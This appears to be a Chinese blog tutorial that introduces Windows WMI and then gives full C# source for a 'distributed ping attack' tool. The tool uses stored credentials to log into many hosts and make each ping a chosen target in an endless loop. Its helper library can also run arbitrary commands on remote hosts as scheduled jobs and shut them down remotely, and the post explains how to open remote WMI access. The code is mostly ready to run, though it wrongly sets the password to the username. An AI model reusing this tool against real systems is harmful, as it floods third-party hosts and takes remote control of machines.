1 微软 WMI 简介
Windows 管理规范(WMI)是 微软的Windows 包含的管理技术及标准,通过 WMI 可以管理本地和远程计算机。WMI 提供对服务、进程和很多的 Windows 系统对象的访问。WMI 设计使用面向对象的模型来进行内容组织,它叫做通用信息模型(CIM),CIM 被包含在分布式管理任务组(DMTF) ( http://www.dmtf.org)。
WMI支持编程语言和脚本语言使用相同的形式来编写代码,它提供对象查询、属性获取、方法调用、事件挂接。还有元数据提供。因为它是面向对象的,所以新建的对象可以继承与其它对象,这样扩展起来很方便,微软也是这么干的。通过 WMI,用户可以得到进程列表、服务列表,启动、停止服务,关闭、重启电脑,查看远程事件日志等等。
程序运行
开发运行环境:.Net Framework 4.5,VS2013,SQL Server 2008R2,Entity Framework 5.0。在开发阶段,还需要做以下事情:
- 建立数据表 PingAttack 结构见下:
| Name | Type | Size | Default | AllowNull | PK | 备注 |
| Id | int | false | True | 主机键 | ||
| IsLocalhost | bit | 0 | false | 是本机 | ||
| Host | nvarchar(256) | 1 | True | 如果是本机,输入 . | ||
| UserName | nvarchar(256) | True | 用户名称,其它主机必须是:Host\UserName | |||
| Password | nvarchar(256) | True | 口令 | |||
| Description | nvarchar(max) | True | 备注 |
2)使用Entity framework 5.0 的EDM框架,通过数据库生成实体及容器。
3)编译代码,执行 SqlServer_PingAttack.exe。运行结果见后面的截图。要退出攻击任务请关机。
3 关键代码
1)WMITools程序集全部代码(WMIToolsCore.cs):
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace WMITools
{
#region WMI连接信息类
/// <summary>
/// WMI连接信息类
/// </summary>
public class WMIConnect
{
#region 成员
/// <summary>
/// 要求高权限,本地远程都可用
/// </summary>
public virtual bool EnablePrivileges { get; set; }
/// <summary>
/// 是否本地
/// </summary>
public virtual bool IsLocalhost { get; set; }
/// <summary>
/// 主机,本地必须为 . ,远程必须为主机名称
/// </summary>
public virtual string Host { get; set; }
/// <summary>
/// 用户名,本地不用,非域主机用户名称加主机及反斜杠,例如:win7x32\administrator
/// </summary>
public virtual string UserName { get; set; }
/// <summary>
/// 口令,本地不用
/// </summary>
public virtual string Password { get; set; }
/// <summary>
/// 仅域使用,本地不用,非域主机这里留空
/// </summary>
public virtual string Authority { get; set; }
/// <summary>
/// COM验证级别,本地不用,默认Packet
/// </summary>
public virtual AuthenticationLevel Authentication { get; set; }
/// <summary>
/// 连接时用到的模拟级别,本地不用,默认Impersonate
/// </summary>
public virtual ImpersonationLevel Impersonation { get; set; }
/// <summary>
/// 默认名称空间
/// </summary>
public static string DefaultNamespace = @"root\cimv2";
#endregion 成员
#region 方法
/// <summary>
/// 公开构造
/// </summary>
public WMIConnect()
{
Impersonation = ImpersonationLevel.Impersonate;
Authentication = AuthenticationLevel.Packet;
EnablePrivileges = true;
}
/// <summary>
/// 得到默认名称空间连接上下文
/// </summary>
/// <returns>连接上下文</returns>
public virtual ManagementScope GetManagementScope()
{
return GetManagementScope(DefaultNamespace);
}
/// <summary>
/// 得到指定名称空间连接上下文
/// </summary>
/// <param name="nameSpace">名称空间</param>
/// <returns>连接上下文</returns>
public virtual ManagementScope GetManagementScope(string nameSpace)
{
ConnectionOptions co = new ConnectionOptions();
co.EnablePrivileges = EnablePrivileges;
ManagementScope ms = null;
try
{
if (IsLocalhost)
{
//连接本地计算机
ms = new ManagementScope(nameSpace, co);
return ms;
}
else
{
// 连接远程计算机
if (!string.IsNullOrEmpty(Authority))
co.Authority = string.Format(@"ntlmdomain:{0}", Authority);
co.Authentication = Authentication;
co.Impersonation = Impersonation;
co.Username = UserName;
co.Password = Password;
string path = string.Format(@"\\{0}\{1}", Host, nameSpace);
ms = new ManagementScope(path, co);
return ms;
}
}
catch(Exception ex)
{
throw ex;
}
}
/// <summary>
/// 得到本地主机默认名称空间连接上下文
/// </summary>
/// <returns>连接上下文</returns>
public static ManagementScope GetLocalhostManagementScope()
{
return GetLocalhostManagementScope(DefaultNamespace);
}
/// <summary>
/// 得到本地主机指定名称空间连接上下文
/// </summary>
/// <param name="nameSpace">名称空间</param>
/// <returns>连接上下文</returns>
public static ManagementScope GetLocalhostManagementScope(string nameSpace)
{
ConnectionOptions co = new ConnectionOptions();
co.EnablePrivileges = true;
ManagementScope ms = null;
//连接本地计算机
ms = new ManagementScope(nameSpace, co);
return ms;
}
#endregion 方法
}
#endregion WMI连接信息类
#region WMI工具类
/// <summary>
/// wmi工具类
/// </summary>
public class Tools
{
#region PING 方法
/// <summary>
/// 从本机开始ping
/// </summary>
/// <param name="host">主机或ip</param>
/// <returns>结果状态</returns>
public static PingReturnStatusCode PingFromLocalhost(string host)
{
var qms = WMIConnect.GetLocalhostManagementScope();
return Ping(qms, host);
}
/// <summary>
/// 从指定主机开始ping
/// </summary>
/// <param name="ms">主机上下文</param>
/// <param name="host">主机或ip</param>
/// <returns>结果状态</returns>
public static PingReturnStatusCode Ping(ManagementScope ms, string host)
{
var status = PingReturnStatusCode.一般性错误;
try
{
string searchString = @" select * from win32_PingStatus where Address = '{0}' ";
searchString = string.Format(searchString, host);
var oq = new ObjectQuery(searchString);
using (var searcher = new ManagementObjectSearcher(ms, oq))
using (ManagementObject result = searcher.Get().Cast<ManagementObject>().FirstOrDefault())
{
if ((result != null) && (result.Properties["StatusCode"].Value != null))
{
object obj = result.Properties["StatusCode"].Value;
uint i;
if (uint.TryParse(obj.ToString(), out i))
status = (PingReturnStatusCode)i;
return status;
}
else
status = PingReturnStatusCode.目标主机不可达;
}
}
catch
{
status = PingReturnStatusCode.系统发生了错误;
return status;
}
return status;
}
/// <summary>
/// ping的结果返回枚举
/// </summary>
public enum PingReturnStatusCode : uint
{
PING成功 = 0, //Success (0)
缓冲区过小 = 11001, //Buffer Too Small (11001)
目标网络不可达 = 11002, //Destination Net Unreachable (11002)
目标主机不可达 = 11003, //Destination Host Unreachable (11003)
目标协议不可达 = 11004, //Destination Protocol Unreachable (11004)
目标端口不可达 = 11005, //Destination Port Unreachable (11005)
没有资源 = 11006, //No Resources (11006)
错误选项 = 11007, //Bad Option (11007)
硬件错误 = 11008, //Hardware Error (11008)
包太大 = 11009, //Packet Too Big (11009)
请求超时 = 11010, //Request Timed Out (11010)
错误请求 = 11011, //Bad Request (11011)
错误路由 = 11012, //Bad Route (11012)
超时过期丢弃 = 11013, //TimeToLive Expired Transit (11013)
超时过期重组 = 11014, //TimeToLive Expired Reassembly (11014)
参数问题 = 11015, //Parameter Problem (11015)
来源被关闭 = 11016, //Source Quench (11016)
选项太长 = 11017, //Option Too Big (11017)
错误目标 = 11018, //Bad Destination (11018)
IPSEC错误 = 11032, //GNegotiating IPSEC (11032)
一般性错误 = 11050, //General Failure (11050)
系统发生了错误 = 20000 //为了wmi的错误由我们单独追加
}
#endregion PING 方法
#region 任务计划
/// <summary>
/// 创建计划任务,如果创建任务无法运行(win7),把任务计划的账号从系统改为管理员!!!
/// </summary>
/// <param name="ms">上下文</param>
/// <param name="cmd">命令</param>
/// <param name="start">开始时间,启动时间会再加一分钟</param>
/// <param name="showDesk">显示桌面</param>
/// <param name="repeat">是否重复</param>
/// <param name="daysOfMonth">月重复</param>
/// <param name="daysOfWeek">周重复</param>
/// <*returns>任务id</returns>
public static string CreateJob(ManagementScope ms, string cmd, DateTime start,
bool showDesk =true, bool repeat = false, int daysOfMonth = 0, int daysOfWeek = 0)
{
DateTime newtime = start.AddMinutes(1);
string strJobId = "";
try
{
ManagementClass classInstance = new ManagementClass(ms, new ManagementPath("Win32_ScheduledJob"), null);
ManagementBaseObject inParams = classInstance.GetMethodParameters("Create");
inParams["Command"] =cmd;
inParams["InteractWithDesktop"] = showDesk;
inParams["RunRepeatedly"] = repeat;
if (daysOfMonth > 0)
inParams["DaysOfMonth"] = daysOfMonth;
if (daysOfWeek > 0)
inParams["DaysOfWeek"] = daysOfWeek;
var args = string.Format("{0:d4}{1:d2}{2:d2}{3:d2}{4:d2}{5:d2}.000000+480",
newtime.Year, newtime.Month, newtime.Day, newtime.Hour, newtime.Minute, newtime.Second);
inParams["StartTime"] = args;
// YYYYMMDDhhmmss.000000
//inParams["StartTime"] = "20101129105409.000000+480"; // +480 (+8 * 60)
ManagementBaseObject outParams = classInstance.InvokeMethod("Create", inParams, null);
strJobId = outParams["JobId"].ToString();
return strJobId;
}
catch (Exception ex)
{
throw ex;
}
}
/*
周重复 月重复
Monday (1) 1 第一天
Tuesday (2) 2 第二天
Wednesday (4) 4 第三天
Thursday (8) 8 第四天
Friday (16) 16 第五天
Saturday (32) ...
Sunday (64) 134217728 第28天
268435456 第29天
536870912 第30天
1073741824 第31天
*/
#endregion 任务计划
#region 关机或重启
/// <summary>
/// 关机或重启
/// </summary>
/// <param name="ms">上下文</param>
/// <param name="repeat">是否shutdown</param>
/// <*returns>bool</returns>
public static bool ShutdownOrReboot(ManagementScope ms, bool isShutdown)
{
// object ret = null;
try
{
ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
ManagementObjectSearcher mos = new ManagementObjectSearcher(ms, oq);
ManagementObjectCollection moc = mos.Get();
foreach (ManagementObject mo in moc)
{
string[] ss = new string[]{""};
object outParams = null;
if (isShutdown)
outParams = mo.InvokeMethod("Shutdown", ss);
else
outParams = mo.InvokeMethod("Reboot", ss);
return (outParams != null) && (outParams.ToString() == "0");
}
return false;
}
catch (Exception ex)
{
throw ex;
}
}
/*
返回值 0 成功,其它错误
*/
#endregion 关机或重启
#region 日期时间
/// <summary>
/// 从指定主机得到时间
/// </summary>
/// <param name="ms">主机上下文</param>
/// <param name="error">错误</param>
/// <returns>日期时间,可能为空</returns>
public static DateTime? Win32_LocalTime(ManagementScope ms, out string error)
{
error = "";
try
{
string searchString = @" select * from Win32_LocalTime ";
var oq = new ObjectQuery(searchString);
using (var searcher = new ManagementObjectSearcher(ms, oq))
using (ManagementObject result = searcher.Get().Cast<ManagementObject>().FirstOrDefault())
{
int Day = result["Day"] != null ? Convert.ToInt32( result["Day"]) : 0;
int Hour = result["Hour"] != null ? Convert.ToInt32( result["Hour"]) : 0;
int Minute = result["Minute"] != null ? Convert.ToInt32( result["Minute"]) : 0;
int Month = result["Month"] != null ? Convert.ToInt32( result["Month"]) : 0;
int Second = result["Second"] != null ? Convert.ToInt32( result["Second"]) : 0;
int Year = result["Year"] != null ? Convert.ToInt32( result["Year"]) : 0;
return new DateTime(Year, Month, Day, Hour, Minute, Second);
}
}
catch
{
error = "查询时间时发生错误";
return null;
}
}
/*
class Win32_LocalTime : Win32_CurrentTime
{
uint32 Day;
uint32 DayOfWeek;
uint32 Hour;
uint32 Milliseconds;
uint32 Minute;
uint32 Month;
uint32 Quarter;
uint32 Second;
uint32 WeekInMonth;
uint32 Year;
};
*/
#endregion 日期时间
}
#endregion WMI工具类
}
2)SqlServer_PingAttack程序集攻击任务代码(Tools.cs):
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using WMITools;
namespace SqlServer_PingAttack
{
#region wmi ping 任务
/// <summary>
/// wmi ping 任务
/// </summary>
public class PingTask
{
/// <summary>
/// 网格
/// </summary>
public DataGridView gridView { get; set; }
/// <summary>
/// 网格行号
/// </summary>
public int gridRowIndex { get; set; }
/// <summary>
/// 间隔休息毫秒
/// </summary>
public int sleepms { get; set; }
/// <summary>
/// 数据表对象
/// </summary>
public PingAttack attack { get; set; }
/// <summary>
/// ping主机
/// </summary>
public string pinghost { get; set; }
/// <summary>
/// Ping取消对象
/// </summary>
public virtual CancellationTokenSource ctsPing { get; set; }
/// <summary>
/// Ping执行任务
/// </summary>
public virtual Task pingTask { get; set; }
/// <summary>
/// Ping的线程方法
/// </summary>
/// <param name="attack">数据表对象</param>
/// <param name="pinghost">ping主机</param>
/// <param name="sleepms">中间间隔休息毫秒</param>
public virtual void Ping(PingAttack attack, string pinghost, int sleepms)
{
this.attack = attack;
this.pinghost = pinghost;
this.sleepms = sleepms;
ctsPing = new System.Threading.CancellationTokenSource();
try
{
pingTask = new Task(() => PingCore(ctsPing), creationOptions: TaskCreationOptions.LongRunning);
pingTask.Start();
}
catch
{
}
}
/// <summary>
/// 全部ping数量
/// </summary>
public int AllPingCount { get; set; }
/// <summary>
/// 成功ping数量
/// </summary>
public int SuccPingCount { get; set; }
/// <summary>
/// 失败ping数量
/// </summary>
public int FailPingCount { get; set; }
/// <summary>
/// ping实际的执行方法
/// </summary>
/// <param name="cts">取消对象</param>
public virtual void PingCore(System.Threading.CancellationTokenSource cts)
{
while (true)
{
cts.Token.ThrowIfCancellationRequested();
try
{
var qwmiconnect = new WMIConnect();
qwmiconnect.IsLocalhost = attack.IsLocalhost;
AllPingCount++;
if(!attack.IsLocalhost)
{
qwmiconnect.Host = attack.Host;
qwmiconnect.UserName = attack.UserName;
qwmiconnect.Password = attack.UserName;
}
else
{
qwmiconnect.Host = ".";
}
Task.Delay(sleepms, cts.Token).Wait();
ManagementScope ms = null;
try
{
ms = qwmiconnect.GetManagementScope();
}
catch
{
FailPingCount++;
continue;
}
try
{
var succ = Tools.Ping(ms, pinghost);
var s2 = succ;
if (succ == Tools.PingReturnStatusCode.PING成功)
SuccPingCount++;
else
FailPingCount++;
}
catch
{
FailPingCount++;
continue;
}
gridView["ColumnAllPingCount", gridRowIndex].Value = AllPingCount.ToString();
gridView["ColumnSuccPingCount", gridRowIndex].Value = SuccPingCount.ToString();
gridView["ColumnFailPingCount", gridRowIndex].Value = FailPingCount.ToString();
}
catch
{
}
cts.Token.ThrowIfCancellationRequested();
}
}
/// <summary>
/// 停止线程方法
/// </summary>
public virtual void HaltPing()
{
try
{
if ((ctsPing != null) && (pingTask != null))
{
ctsPing.Cancel(true);
pingTask.Wait();
}
}
catch
{
}
finally
{
ctsPing = null;
pingTask = null;
}
Task.Delay(sleepms).Wait();
}
}
#endregion wmi ping 任务
}
3)SqlServer_PingAttack程序集主窗体代码(Tools.cs):
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace SqlServer_PingAttack
{
/// <summary>
/// ping攻击主窗体
/// </summary>
public partial class FormPing : Form
{
/// <summary>
/// 公开构造
/// </summary>
public FormPing()
{
InitializeComponent();
}
/// <summary>
/// 数据库对象集合
/// </summary>
List<PingAttack> data = new List<PingAttack>();
/// <summary>
/// 窗体加载
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void Form1_Load(object sender, EventArgs e)
{
Control.CheckForIllegalCrossThreadCalls = false;
LoadData();
}
/// <summary>
/// 装入数据库
/// </summary>
private void LoadData()
{
using (var book = new BookEntities())
data = book.PingAttack.OrderBy(x => x.Id).ToList();
pingAttackBindingSource.DataSource = data;
}
/// <summary>
/// 要发起攻击的任务集合
/// </summary>
List<PingTask> pings = new List<PingTask>();
/// <summary>
/// 点击攻击按钮
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void buttonAttack_Click(object sender, EventArgs e)
{
buttonAttack.Enabled = false;
int i = 0;
pings = new List<PingTask>();
foreach(var qa in data)
{
try
{
PingTask pt = new PingTask();
pt.gridView = pingAttackDataGridView;
pt.gridRowIndex = i;
pings.Add(pt);
pingAttackDataGridView[ColumnStartTime.Name, i].Value = DateTime.Now.ToString();
pt.Ping(qa, textBoxPingDesthost.Text, Convert.ToInt32( numericSleep.Value));
}
catch
{
}
i++;
}
}
/// <summary>
/// 窗体关闭之前
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
private void FormPing_FormClosing(object sender, FormClosingEventArgs e)
{
StopAll();
}
/// <summary>
/// 全部停止
/// </summary>
private void StopAll()
{
foreach (var qa in pings)
{
try
{
qa.HaltPing();
}
catch
{
}
}
}
}
}
4 执行结果
1)程序的入口界面:

2)输入不存在的主机,然后点击
Attack攻击按钮,经过一段时间后的界面:

3)输入存在的主机,然后点击Attack攻击按钮,经过一段时间后的界面:

5 分布式PING 攻击流程图

6 WMI 配置远程访问
1) 要确信wmi安全容许远程访问
2)设置远程COM访问
3)打开防火墙端口
4)配置计算机策略
5)有关服务必须启动